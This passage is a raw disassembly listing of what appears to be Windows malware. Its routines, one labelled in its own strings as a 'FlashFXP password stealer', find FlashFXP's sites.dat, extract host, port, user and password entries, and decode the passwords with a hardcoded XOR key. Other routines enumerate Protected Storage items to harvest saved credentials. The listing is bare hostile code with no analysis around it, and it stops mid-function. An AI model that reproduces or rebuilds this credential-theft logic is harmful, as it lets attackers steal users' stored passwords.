call sub_40396E
add esp, 14h
mov [ebp+arg_0], eax
test eax, eax
jnz short loc_40FA1D
push [ebp+var_2C8]
call sub_406E6F
pop ecx
xor eax, eax
jmp loc_40FBA2
; ---------------------------------------------------------------------------
loc_40FA1D: ; CODE XREF: sub_40F9C9+3Fj
movzx eax, word ptr [ebp+var_1C4+2]
push esi
push edi
push [ebp+var_1BC]
push eax
movzx eax, word ptr [ebp+var_1C4]
push eax
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_2C8]
push dword ptr [eax]
lea eax, [ebp+var_1B8]
push offset dword_4184A8
push eax
call sub_4096CB
mov esi, dword_4120A4
add esp, 1Ch
cmp [ebp+var_20], 0
mov edi, 3E8h
jnz short loc_40FA6C
push edi
call esi ; Sleep
loc_40FA6C: ; CODE XREF: sub_40F9C9+9Ej
call sub_4114E2 ; clock
and [ebp+var_8], 0
mov [ebp+var_4], eax
loc_40FA78: ; CODE XREF: sub_40F9C9+10Dj
; sub_40F9C9+186j
mov eax, [ebp+var_2C8]
cmp dword ptr [eax+4], 0
jnz loc_40FB54
cmp bx, word ptr [ebp+var_1C4+2]
ja loc_40FB54
lea eax, [ebp+var_10]
push 0Ah
push eax
movzx eax, bx
push eax
call sub_41192A ; _itoa
add esp, 0Ch
lea eax, [ebp+var_10]
inc ebx
push [ebp+arg_0]
mov [ebp+var_14], ebx
push 0
push eax
lea eax, [ebp+var_2C4]
push eax
call sub_403B44
add esp, 0Ch
push eax
call sub_403996
pop ecx
test eax, eax
pop ecx
jz short loc_40FAD8
cmp bx, word ptr [ebp+var_1C4+2]
jbe short loc_40FA78
loc_40FAD8: ; CODE XREF: sub_40F9C9+104j
push [ebp+var_1C0]
call esi ; Sleep
push [ebp+arg_0]
call sub_403A1B
test eax, eax
pop ecx
jz short loc_40FB43
loc_40FAED: ; CODE XREF: sub_40F9C9+178j
mov eax, [ebp+var_2C8]
cmp dword ptr [eax+4], 0
jnz short loc_40FB43
push [ebp+arg_0]
call sub_403AB5
test eax, eax
pop ecx
jz short loc_40FB43
lea ecx, [ebp+var_10]
push ecx
push eax
call sub_40357F
pop ecx
mov bl, [ebp+var_20]
pop ecx
lea eax, [ebp+var_10]
inc [ebp+var_8]
and [ebp+var_20], 0
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_1B8]
push offset dword_418494
push eax
call sub_4096CB
add esp, 10h
mov [ebp+var_20], bl
push edi
call esi ; Sleep
jmp short loc_40FAED
; ---------------------------------------------------------------------------
loc_40FB43: ; CODE XREF: sub_40F9C9+122j
; sub_40F9C9+12Ej ...
push [ebp+arg_0]
call sub_403AF7
mov ebx, [ebp+var_14]
pop ecx
jmp loc_40FA78
; ---------------------------------------------------------------------------
loc_40FB54: ; CODE XREF: sub_40F9C9+B9j
; sub_40F9C9+C6j
push [ebp+var_8]
call sub_4114E2 ; clock
sub eax, [ebp+var_4]
push ecx
push ecx
mov [ebp+var_4], eax
lea eax, [ebp+var_2C4]
fild [ebp+var_4]
fmul flt_412280
fstp [esp+2E0h+var_2E0]
push eax
lea eax, [ebp+var_1B8]
push offset unk_418458
push eax
call sub_4096CB
push [ebp+arg_0]
call sub_403B2F
push [ebp+var_2C8]
call sub_406E6F
add esp, 20h
xor eax, eax
pop edi
pop esi
loc_40FBA2: ; CODE XREF: sub_40F9C9+4Fj
pop ebx
leave
retn 4
sub_40F9C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FBA7 proc near ; CODE XREF: sub_407A76+7BAp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_4], 0
push ebx
push esi
push edi
jz loc_40FD1D
mov eax, [ebp+arg_8]
test eax, eax
jz loc_40FD1D
cmp [ebp+arg_C], 0
jnz short loc_40FBCC
mov [ebp+arg_C], eax
loc_40FBCC: ; CODE XREF: sub_40FBA7+20j
push eax
call sub_41151C ; atoi
mov edi, eax
pop ecx
test edi, edi
mov [ebp+arg_8], edi
jz loc_40FD1D
mov esi, 0FFFFh
cmp edi, esi
ja loc_40FD1D
push [ebp+arg_C]
call sub_41151C ; atoi
mov ebx, eax
pop ecx
test ebx, ebx
mov [ebp+var_4], ebx
jz loc_40FD1D
cmp ebx, esi
ja loc_40FD1D
push 2B3h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz loc_40FD1D
cmp edi, ebx
jbe short loc_40FC2A
mov [ebp+var_4], edi
mov [ebp+arg_8], ebx
loc_40FC2A: ; CODE XREF: sub_40FBA7+7Bj
cmp [ebp+arg_10], 0
mov edi, 7D0h
jz short loc_40FC43
push [ebp+arg_10]
call sub_41151C ; atoi
pop ecx
mov [ebp+arg_C], eax
jmp short loc_40FC46
; ---------------------------------------------------------------------------
loc_40FC43: ; CODE XREF: sub_40FBA7+8Cj
mov [ebp+arg_C], edi
loc_40FC46: ; CODE XREF: sub_40FBA7+9Aj
cmp [ebp+arg_C], 0
mov ebx, 0EA60h
jz short loc_40FC56
cmp [ebp+arg_C], ebx
jbe short loc_40FC59
loc_40FC56: ; CODE XREF: sub_40FBA7+A8j
mov [ebp+arg_C], edi
loc_40FC59: ; CODE XREF: sub_40FBA7+ADj
cmp [ebp+arg_14], 0
mov edi, 100h
jz short loc_40FC72
push [ebp+arg_14]
call sub_41151C ; atoi
pop ecx
mov [ebp+arg_10], eax
jmp short loc_40FC75
; ---------------------------------------------------------------------------
loc_40FC72: ; CODE XREF: sub_40FBA7+BBj
mov [ebp+arg_10], edi
loc_40FC75: ; CODE XREF: sub_40FBA7+C9j
cmp [ebp+arg_10], 0
jz short loc_40FC84
cmp [ebp+arg_10], 200h
jbe short loc_40FC87
loc_40FC84: ; CODE XREF: sub_40FBA7+D2j
mov [ebp+arg_10], edi
loc_40FC87: ; CODE XREF: sub_40FBA7+DBj
push edi
lea eax, [esi+4]
push [ebp+arg_4]
push eax
call sub_4114D6 ; strncpy
mov ax, word ptr [ebp+arg_8]
add esp, 0Ch
cmp [ebp+arg_C], ebx
mov [esi+104h], ax
mov ax, word ptr [ebp+var_4]
mov [esi+106h], ax
ja short loc_40FCB5
mov ebx, [ebp+arg_C]
loc_40FCB5: ; CODE XREF: sub_40FBA7+109j
mov eax, 200h
mov [esi+108h], ebx
cmp [ebp+arg_10], eax
ja short loc_40FCC8
mov eax, [ebp+arg_10]
loc_40FCC8: ; CODE XREF: sub_40FBA7+11Cj
mov ebx, [ebp+arg_0]
lea edi, [esi+10Ch]
push 1A3h
push ebx
mov [edi], eax
lea eax, [esi+110h]
push eax
call sub_4114D0 ; memcpy
movzx eax, word ptr [esi+106h]
add esp, 0Ch
push dword ptr [edi]
push eax
movzx eax, word ptr [esi+104h]
push eax
lea eax, [esi+4]
push eax
xor eax, eax
cmp [ebx+18Bh], al
push offset dword_4184F0
setz al
push eax
push esi
push offset sub_40F9C9
call sub_406D58
add esp, 20h
loc_40FD1D: ; CODE XREF: sub_40FBA7+Bj
; sub_40FBA7+16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40FBA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FD22 proc near ; CODE XREF: sub_40FEB8+234p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
lea eax, [ebp+var_4]
push edi
mov edi, [ebp+arg_4]
mov esi, offset dword_413B5C
push eax
push esi
push edi
mov ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
call sub_411522 ; sscanf
add esp, 0Ch
test eax, eax
jz short loc_40FDA1
inc edi
inc edi
loc_40FD4A: ; CODE XREF: sub_40FD22+7Dj
lea eax, [ebp+arg_4]
push eax
push esi
push edi
call sub_411522 ; sscanf
add esp, 0Ch
test eax, eax
jz short loc_40FDA1
movsx ecx, byte ptr [ebx]
mov eax, [ebp+arg_4]
xor eax, ecx
inc ebx
cmp [ebp+var_4], eax
mov [ebp+arg_4], eax
jl short loc_40FD71
dec eax
mov [ebp+arg_4], eax
loc_40FD71: ; CODE XREF: sub_40FD22+49j
sub al, byte ptr [ebp+var_4]
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ecx], al
lea eax, [ebp+var_4]
push eax
push esi
push edi
call sub_411522 ; sscanf
add esp, 0Ch
test eax, eax
jz short loc_40FDA1
inc edi
inc edi
cmp byte ptr [ebx], 0
jnz short loc_40FD9A
mov ebx, offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3"
loc_40FD9A: ; CODE XREF: sub_40FD22+71j
cmp byte ptr [edi], 0
jz short loc_40FDA5
jmp short loc_40FD4A
; ---------------------------------------------------------------------------
loc_40FDA1: ; CODE XREF: sub_40FD22+24j
; sub_40FD22+38j ...
xor eax, eax
jmp short loc_40FDAE
; ---------------------------------------------------------------------------
loc_40FDA5: ; CODE XREF: sub_40FD22+7Bj
mov eax, [ebp+arg_0]
push 1
and byte ptr [eax], 0
pop eax
loc_40FDAE: ; CODE XREF: sub_40FD22+81j
pop edi
pop esi
pop ebx
leave
retn
sub_40FD22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FDB3 proc near ; CODE XREF: sub_40FEB8+2Cp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
lea eax, [ebp+var_8]
push edi
xor edi, edi
push eax
push 20019h
push edi
push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."...
push 80000002h
mov [ebp+var_8], edi
call dword_412000
mov ebx, [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
push ebx
push edi
push edi
push edi
mov esi, 104h
push [ebp+var_8]
mov [ebp+var_C], esi
call dword_41200C
push [ebp+var_8]
mov [ebp+arg_0], eax
call dword_412028
cmp [ebp+arg_0], edi
jnz short loc_40FE42
push offset aFlashfxp_exe1 ; "FlashFXP.exe %1"
push 4
push ebx
call sub_405A0D
add esp, 0Ch
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40FE42
push offset aSites_dat ; "sites.dat"
push eax
call sub_4114B8 ; _mbscpy
mov eax, [ebp+arg_0]
lea ecx, [eax+0Fh]
add eax, 9
push ecx
push eax
call sub_4114B8 ; _mbscpy
add esp, 10h
loc_40FE3D: ; CODE XREF: sub_40FDB3+B8j
; sub_40FDB3+F1j
push 1
pop eax
jmp short loc_40FEB3
; ---------------------------------------------------------------------------
loc_40FE42: ; CODE XREF: sub_40FDB3+53j
; sub_40FDB3+6Aj
push esi
push ebx
push offset aProgramfiles ; "ProgramFiles"
call dword_41210C
push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat"
push ebx
call sub_4114EE ; _mbscat
mov esi, offset aRb ; "rb"
push esi
push ebx
call sub_411506 ; fopen
add esp, 10h
test eax, eax
jnz short loc_40FE3D
mov eax, dword_4143A0
mov [ebp+var_4], eax
loc_40FE75: ; CODE XREF: sub_40FDB3+FCj
lea eax, [ebp+var_4]
push eax
call dword_4120D0
cmp eax, 5
jz short loc_40FEA6
cmp eax, 2
jz short loc_40FEA6
lea eax, [ebp+var_4]
push eax
push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat"
push ebx
call sub_4114DC ; sprintf
push esi
push ebx
call sub_411506 ; fopen
add esp, 14h
test eax, eax
jnz short loc_40FE3D
loc_40FEA6: ; CODE XREF: sub_40FDB3+CFj
; sub_40FDB3+D4j
inc byte ptr [ebp+var_4]
cmp byte ptr [ebp+var_4], 5Ah
jz short loc_40FEB1
jmp short loc_40FE75
; ---------------------------------------------------------------------------
loc_40FEB1: ; CODE XREF: sub_40FDB3+FAj
xor eax, eax
loc_40FEB3: ; CODE XREF: sub_40FDB3+8Dj
pop edi
pop esi
pop ebx
leave
retn
sub_40FDB3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40FEB8 proc near ; DATA XREF: sub_4101AE+29o
var_5C4 = byte ptr -5C4h
var_444 = byte ptr -444h
var_3C4 = byte ptr -3C4h
var_344 = byte ptr -344h
var_2C4 = byte ptr -2C4h
var_244 = dword ptr -244h
var_240 = byte ptr -240h
var_A8 = byte ptr -0A8h
var_9C = byte ptr -9Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5C4h
push 1A7h
lea eax, [ebp+var_244]
push [ebp+arg_0]
push eax
call sub_4114D0 ; memcpy
push [ebp+arg_0]
call sub_4114CA ; free
lea eax, [ebp+var_5C4]
push eax
call sub_40FDB3
add esp, 14h
test eax, eax
jnz short loc_40FF03
push [ebp+var_244]
call sub_406E6F
pop ecx
xor eax, eax
jmp locret_4101AA
; ---------------------------------------------------------------------------
loc_40FF03: ; CODE XREF: sub_40FEB8+36j
mov eax, [ebp+var_244]
push ebx
push esi
push edi
push dword ptr [eax]
lea eax, [ebp+var_240]
push offset unk_4186C0
push eax
call sub_4096CB
mov al, [ebp+var_A8]
xor ebx, ebx
mov byte ptr [ebp+arg_0+3], al
lea eax, [ebp+var_5C4]
push offset aRb ; "rb"
push eax
mov [ebp+var_18], ebx
mov [ebp+var_4], ebx
mov [ebp+var_A8], bl
call sub_411506 ; fopen
mov edi, eax
add esp, 14h
cmp edi, ebx
jz loc_410199
push 2
push ebx
push edi
call sub_411516 ; fseek
push edi
call sub_4114F4 ; ftell
mov esi, eax
mov eax, 100000h
add esp, 10h
cmp esi, eax
jb short loc_40FF73
mov esi, eax
loc_40FF73: ; CODE XREF: sub_40FEB8+B7j
push ebx
push ebx
push edi
call sub_411516 ; fseek
lea eax, [esi+1]
push eax
call sub_4114C4 ; malloc
add esp, 10h
cmp eax, ebx
mov [ebp+var_10], eax
push edi
jnz short loc_40FF9A
call sub_411500 ; fclose
pop ecx
jmp loc_410199
; ---------------------------------------------------------------------------
loc_40FF9A: ; CODE XREF: sub_40FEB8+D5j
push esi
push 1
push eax
call sub_411510 ; fread
push edi
call sub_411500 ; fclose
mov eax, [ebp+var_10]
add esp, 14h
mov [eax+esi], bl
mov esi, eax
loc_40FFB4: ; CODE XREF: sub_40FEB8+29Dj
push offset asc_4186B8 ; "\r\n\r\n["
push esi
call sub_411528 ; strstr
push offset aIp ; "\r\nIP="
push esi
mov edi, eax
call sub_411528 ; strstr
push offset aPort ; "\r\nPort="
push esi
mov [ebp+var_14], eax
call sub_411528 ; strstr
push offset aUser_0 ; "\r\nUser="
push esi
mov [ebp+var_8], eax
call sub_411528 ; strstr
push offset aPass_0 ; "\r\nPass="
push esi
mov [ebp+var_C], eax
call sub_411528 ; strstr
add esp, 28h
cmp [ebp+var_14], ebx
mov [ebp+var_1C], eax
jz loc_41014B
cmp edi, ebx
jz short loc_410012
cmp [ebp+var_14], edi
jnb loc_41014B
loc_410012: ; CODE XREF: sub_40FEB8+14Fj
cmp [ebp+var_8], ebx
jz loc_41014B
cmp edi, ebx
jz short loc_410028
cmp [ebp+var_8], edi
jnb loc_41014B
loc_410028: ; CODE XREF: sub_40FEB8+165j
cmp [ebp+var_C], ebx
jz loc_41014B
cmp edi, ebx
jz short loc_41003E
cmp [ebp+var_C], edi
jnb loc_41014B
loc_41003E: ; CODE XREF: sub_40FEB8+17Bj
cmp eax, ebx
jz loc_41014B
cmp edi, ebx
jz short loc_410052
cmp eax, edi
jnb loc_41014B
loc_410052: ; CODE XREF: sub_40FEB8+190j
lea eax, [ebp+var_444]
loc_410058: ; DATA XREF: .packed:off_415978o
mov [ebp+var_9C], bl
push eax
push offset asc_41868C ; "[%[^]]]\r\n"
push esi
mov [ebp+var_344], bl
mov [ebp+var_3C4], bl
mov [ebp+var_2C4], bl
mov [ebp+var_444], bl
call sub_411522 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
push offset aIp127s ; "\r\nIP=%127s\r\n"
push [ebp+var_14]
call sub_411522 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_3C4]
push eax
push offset aPort127s ; "\r\nPort=%127s\r\n"
push [ebp+var_8]
call sub_411522 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_344]
push eax
push offset aUser127s ; "\r\nUser=%127s\r\n"
push [ebp+var_C]
call sub_411522 ; sscanf
add esp, 0Ch
lea eax, [ebp+var_9C]
push eax
push offset aPass127s ; "\r\nPass=%127s\r\n"
push [ebp+var_1C]
call sub_411522 ; sscanf
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_9C]
push eax
call sub_40FD22
add esp, 14h
test eax, eax
jz short loc_41015A
inc [ebp+var_4]
push 3E8h
call dword_4120A4 ; Sleep
lea eax, [ebp+var_444]
push eax
lea eax, [ebp+var_3C4]
push eax
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_344]
push eax
lea eax, [ebp+var_240]
push [ebp+var_4]
push offset dword_418620
push eax
call sub_4096CB
mov eax, [ebp+var_244]
add esp, 20h
cmp [eax+4], ebx
jnz short loc_41015A
loc_41014B: ; CODE XREF: sub_40FEB8+147j
; sub_40FEB8+154j ...
inc [ebp+var_18]
cmp edi, ebx
jz short loc_41015A
lea esi, [edi+4]
jmp loc_40FFB4
; ---------------------------------------------------------------------------
loc_41015A: ; CODE XREF: sub_40FEB8+23Ej
; sub_40FEB8+291j ...
push [ebp+var_10]
call sub_4114CA ; free
mov al, byte ptr [ebp+arg_0+3]
pop ecx
push 3E8h
mov [ebp+var_A8], al
call dword_4120A4 ; Sleep
push [ebp+var_18]
mov eax, [ebp+var_244]
push [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_240]
push offset unk_4185E4
push eax
call sub_4096CB
add esp, 14h
loc_410199: ; CODE XREF: sub_40FEB8+96j
; sub_40FEB8+DDj
push [ebp+var_244]
call sub_406E6F
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
locret_4101AA: ; CODE XREF: sub_40FEB8+46j
leave
retn 4
sub_40FEB8 endp
; =============== S U B R O U T I N E =======================================
sub_4101AE proc near ; CODE XREF: sub_407A76+4CAp
arg_0 = dword ptr 4
push esi
push 1A7h
call sub_4114C4 ; malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_4101E4
push [esp+4+arg_0]
lea eax, [esi+4]
push eax
call sub_40457C
pop ecx
pop ecx
push offset aFlashfxpPasswo ; "FlashFXP password stealer"
push 0
push esi
push offset sub_40FEB8
call sub_406D58
add esp, 10h
loc_4101E4: ; CODE XREF: sub_4101AE+10j
pop esi
retn
sub_4101AE endp
; =============== S U B R O U T I N E =======================================
sub_4101E6 proc near ; DATA XREF: sub_41094B+32o
mov eax, offset loc_411980
call sub_4117C8
sub esp, 0F98h
push ebx
push esi
push edi
push 1A7h
push dword ptr [ebp+8]
lea eax, [ebp-290h]
push eax
call sub_4114D0 ; memcpy
push dword ptr [ebp+8]
call sub_4114CA ; free
add esp, 10h
xor ebx, ebx
lea eax, [ebp-14h]
push ebx
push ebx
push ebx
push eax
mov [ebp-4], ebx
mov [ebp-14h], ebx
call dword_419220
cmp eax, ebx
jge short loc_410242
push dword ptr [ebp-290h]
call sub_406E6F
pop ecx
jmp loc_410927
; ---------------------------------------------------------------------------
loc_410242: ; CODE XREF: sub_4101E6+49j
cmp [ebp-14h], ebx
mov byte ptr [ebp-4], 1
mov [ebp-1Ch], ebx
jnz short loc_410258
push 80004003h
call sub_4117F0
loc_410258: ; CODE XREF: sub_4101E6+66j
mov esi, [ebp-14h]
lea ecx, [ebp-1Ch]
push ecx
push ebx
mov eax, [esi]
push ebx
push esi
call dword ptr [eax+38h]
cmp eax, ebx
jge short loc_410288
push offset dword_418950
push esi
push eax
call sub_4117FE
push dword ptr [ebp-290h]
call sub_406E6F
pop ecx
jmp loc_410917
; ---------------------------------------------------------------------------
loc_410288: ; CODE XREF: sub_4101E6+83j
mov eax, [ebp-290h]
push dword ptr [eax]
lea eax, [ebp-28Ch]
push offset unk_41891C
push eax
call sub_4096CB
mov al, [ebp-0F4h]
add esp, 0Ch
mov [ebp-10h], ebx
mov [ebp+0Bh], al
mov [ebp-0F4h], bl
loc_4102B6: ; CODE XREF: sub_4101E6+6E2j
; sub_4101E6+6EEj
cmp [ebp-1Ch], ebx
jnz short loc_4102C5
push 80004003h
call sub_4117F0
loc_4102C5: ; CODE XREF: sub_4101E6+D3j
mov eax, [ebp-1Ch]
lea edx, [ebp-40h]
push ebx
push edx
mov ecx, [eax]
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz loc_4108D9
mov eax, [ebp-290h]
cmp [eax+4], ebx
jnz loc_4108D9
sub esp, 10h
lea esi, [ebp-40h]
mov edi, esp
lea eax, [ebp-84h]
movsd
movsd
movsd
push offset asc_418918 ; "%x"
push eax
movsd
call dword_4121EC
add esp, 18h
cmp [ebp-14h], ebx
mov byte ptr [ebp-4], 2
mov [ebp-24h], ebx
jnz short loc_410323
push 80004003h
call sub_4117F0
loc_410323: ; CODE XREF: sub_4101E6+131j
mov esi, [ebp-14h]
lea ecx, [ebp-24h]
push ecx
lea ecx, [ebp-40h]
mov eax, [esi]
push ebx
push ecx
push ebx
push esi
call dword ptr [eax+3Ch]
cmp eax, ebx
jge short loc_410346
push offset dword_418950
push esi
push eax
call sub_4117FE
loc_410346: ; CODE XREF: sub_4101E6+152j
; sub_4101E6+6C8j ...
cmp [ebp-24h], ebx
jnz short loc_410355
push 80004003h
call sub_4117F0
loc_410355: ; CODE XREF: sub_4101E6+163j
mov eax, [ebp-24h]
lea edx, [ebp-50h]
push ebx
push edx
mov ecx, [eax]
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz loc_4108BF
cmp [ebp-14h], ebx
mov byte ptr [ebp-4], 3
mov [ebp-28h], ebx
jnz short loc_410383
push 80004003h
call sub_4117F0
loc_410383: ; CODE XREF: sub_4101E6+191j
mov esi, [ebp-14h]
lea ecx, [ebp-28h]
push ecx
lea ecx, [ebp-50h]
mov eax, [esi]
push ebx
push ecx
lea ecx, [ebp-40h]
push ecx
push ebx
push esi
call dword ptr [eax+54h]
cmp eax, ebx
jge short loc_4103AA
push offset dword_418950
push esi
push eax
call sub_4117FE
loc_4103AA: ; CODE XREF: sub_4101E6+1B6j
; sub_4101E6+6BAj
cmp [ebp-28h], ebx
jnz short loc_4103B9
push 80004003h
call sub_4117F0
loc_4103B9: ; CODE XREF: sub_4101E6+1C7j
mov eax, [ebp-28h]
lea edx, [ebp-30h]
push ebx
push edx
mov ecx, [eax]
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz loc_4108A5
push dword ptr [ebp-30h]
mov edi, dword_4121EC
lea eax, [ebp-7BCh]
push offset aWs ; "%ws"
push eax
call edi
add esp, 0Ch
cmp [ebp-14h], ebx
mov [ebp-20h], ebx
mov [ebp-18h], ebx
jnz short loc_410400
push 80004003h
call sub_4117F0
loc_410400: ; CODE XREF: sub_4101E6+20Ej
push ebx
lea ecx, [ebp-18h]
push ebx
push ecx
mov esi, [ebp-14h]
lea ecx, [ebp-20h]
push ecx
lea ecx, [ebp-50h]
push dword ptr [ebp-30h]
mov eax, [esi]
push ecx
lea ecx, [ebp-40h]
push ecx
push ebx
push esi
call dword ptr [eax+44h]
cmp eax, ebx
jge short loc_41042F
push offset dword_418950
push esi
push eax
call sub_4117FE
loc_41042F: ; CODE XREF: sub_4101E6+23Bj
push dword ptr [ebp-18h]
call sub_4114BE ; strlen
mov esi, [ebp-20h]
pop ecx
lea ecx, [esi-1]
cmp eax, ecx
jnb short loc_410475
xor ecx, ecx
xor edx, edx
cmp esi, ebx
jbe short loc_41046C
loc_41044A: ; CODE XREF: sub_4101E6+284j
mov eax, [ebp-18h]
mov al, [edx+eax]
cmp al, bl
jnz short loc_41045E
mov byte ptr [ebp+ecx-5BCh], 2Ch
jmp short loc_410465
; ---------------------------------------------------------------------------
loc_41045E: ; CODE XREF: sub_4101E6+26Cj
mov [ebp+ecx-5BCh], al
loc_410465: ; CODE XREF: sub_4101E6+276j
inc ecx
inc edx
inc edx
cmp edx, esi
jb short loc_41044A
loc_41046C: ; CODE XREF: sub_4101E6+262j
mov [ebp+ecx-5BDh], bl
jmp short loc_410489
; ---------------------------------------------------------------------------
loc_410475: ; CODE XREF: sub_4101E6+25Aj
push dword ptr [ebp-18h]
lea eax, [ebp-5BCh]
push offset dword_413B6C
push eax
call edi
add esp, 0Ch
loc_410489: ; CODE XREF: sub_4101E6+28Dj
mov esi, dword_412104
mov edi, offset byte_4191D0
lea eax, [ebp-0FA4h]
push edi
push eax
call esi
lea eax, [ebp-9BCh]
push edi
push eax
call esi
mov esi, dword_412110
lea eax, [ebp-84h]
push offset a220d5cc1 ; "220d5cc1"
push eax
call esi
test eax, eax
jnz short loc_4104F0
inc dword ptr [ebp-10h]
cmp [ebp-0F7h], bl
jnz short loc_4104F0
lea eax, [ebp-5BCh]
push eax
lea eax, [ebp-7BCh]
push eax
lea eax, [ebp-28Ch]
push dword ptr [ebp-10h]
push offset dword_4188C8
push eax
call sub_4096CB
add esp, 14h
loc_4104F0: ; CODE XREF: sub_4101E6+2D8j
; sub_4101E6+2E3j
lea eax, [ebp-84h]
push offset a5e7e8100 ; "5e7e8100"
push eax
call esi
test eax, eax
jnz loc_410597
mov edi, dword_412104
lea eax, [ebp-358h]
push offset byte_4191D0
push eax
call edi
mov esi, offset asc_413528 ; ":"
lea eax, [ebp-5BCh]
push esi
push eax
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41055D
lea eax, [ebp-5BCh]
push esi
push eax
call sub_411528 ; strstr
pop ecx
inc eax
pop ecx
push eax
lea eax, [ebp-358h]
push eax
call edi
lea eax, [ebp-5BCh]
push esi
push eax
call sub_411528 ; strstr
pop ecx
mov [eax], bl
pop ecx
loc_41055D: ; CODE XREF: sub_4101E6+34Aj
inc dword ptr [ebp-10h]
push 3E8h
call dword_4120A4 ; Sleep
lea eax, [ebp-358h]
push eax
lea eax, [ebp-5BCh]
push eax
lea eax, [ebp-7BCh]
push eax
lea eax, [ebp-28Ch]
push dword ptr [ebp-10h]
push offset dword_418864
push eax
call sub_4096CB
add esp, 18h
loc_410597: ; CODE XREF: sub_4101E6+31Aj
lea eax, [ebp-84h]
push offset aB9819c52 ; "b9819c52"
push eax
call dword_412110
test eax, eax
jnz loc_410705
mov eax, [ebp-18h]
xor edi, edi
xor esi, esi
cmp [ebp-20h], ebx
jbe short loc_410600
loc_4105BD: ; CODE XREF: sub_4101E6+418j
mov cl, [esi+eax]
cmp cl, bl
jnz short loc_4105CE
mov byte ptr [ebp+edi-5BCh], 2Ch
jmp short loc_4105F8
; ---------------------------------------------------------------------------
loc_4105CE: ; CODE XREF: sub_4101E6+3DCj
push ecx
call dword_412200
test eax, eax
mov eax, [ebp-18h]
jnz short loc_4105EE
mov cl, [esi+eax]
cmp cl, 40h
jz short loc_4105EE
cmp cl, 2Eh
jz short loc_4105EE
cmp cl, 5Fh
jnz short loc_4105F9
loc_4105EE: ; CODE XREF: sub_4101E6+3F4j
; sub_4101E6+3FCj ...
mov cl, [esi+eax]
mov [ebp+edi-5BCh], cl
loc_4105F8: ; CODE XREF: sub_4101E6+3E6j
inc edi
loc_4105F9: ; CODE XREF: sub_4101E6+406j
inc esi
inc esi
cmp esi, [ebp-20h]
jb short loc_4105BD
loc_410600: ; CODE XREF: sub_4101E6+3D5j
mov [ebp+edi-5BDh], bl
cmp [eax+4], bl
lea esi, [ebp-5BAh]
mov [ebp-2Ch], ebx
jbe loc_410705
loc_410619: ; CODE XREF: sub_4101E6+519j
inc esi
lea eax, [ebp-3BCh]
push esi
push eax
call dword_412104
mov edi, offset dword_418854
lea eax, [ebp-3BCh]
push edi
push eax
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jz short loc_410651
lea eax, [ebp-3BCh]
push edi
push eax
call sub_411528 ; strstr
pop ecx
mov [eax], bl
pop ecx
loc_410651: ; CODE XREF: sub_4101E6+458j
push edi
push esi
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jz short loc_410677
push edi
push esi
call sub_411528 ; strstr
pop ecx
inc eax
pop ecx
inc eax
push eax
lea eax, [ebp-0E8h]
push eax
call dword_412104
loc_410677: ; CODE XREF: sub_4101E6+476j
lea eax, [ebp-0E8h]
push edi
push eax
call sub_411528 ; strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41069B
lea eax, [ebp-0E8h]
push edi
push eax
call sub_411528 ; strstr
pop ecx
mov [eax], bl
pop ecx
loc_41069B: ; CODE XREF: sub_4101E6+4A2j
push edi
push esi
call sub_411528 ; strstr
pop ecx
mov esi, eax
pop ecx
lea eax, [ebp-0E8h]
push eax
call dword_412040 ; lstrlen
inc dword ptr [ebp-10h]
push 3E8h
lea esi, [esi+eax+9]
call dword_4120A4 ; Sleep
cmp [ebp-0F7h], bl
jnz short loc_4106F2
lea eax, [ebp-0E8h]
push eax
lea eax, [ebp-3BCh]
push eax
lea eax, [ebp-28Ch]
push dword ptr [ebp-10h]
push offset dword_418814
push eax
call sub_4096CB
add esp, 14h
loc_4106F2: ; CODE XREF: sub_4101E6+4E5j
mov eax, [ebp-18h]
inc dword ptr [ebp-2Ch]
movzx eax, byte ptr [eax+4]
cmp [ebp-2Ch], eax
jl loc_410619
loc_410705: ; CODE XREF: sub_4101E6+3C5j
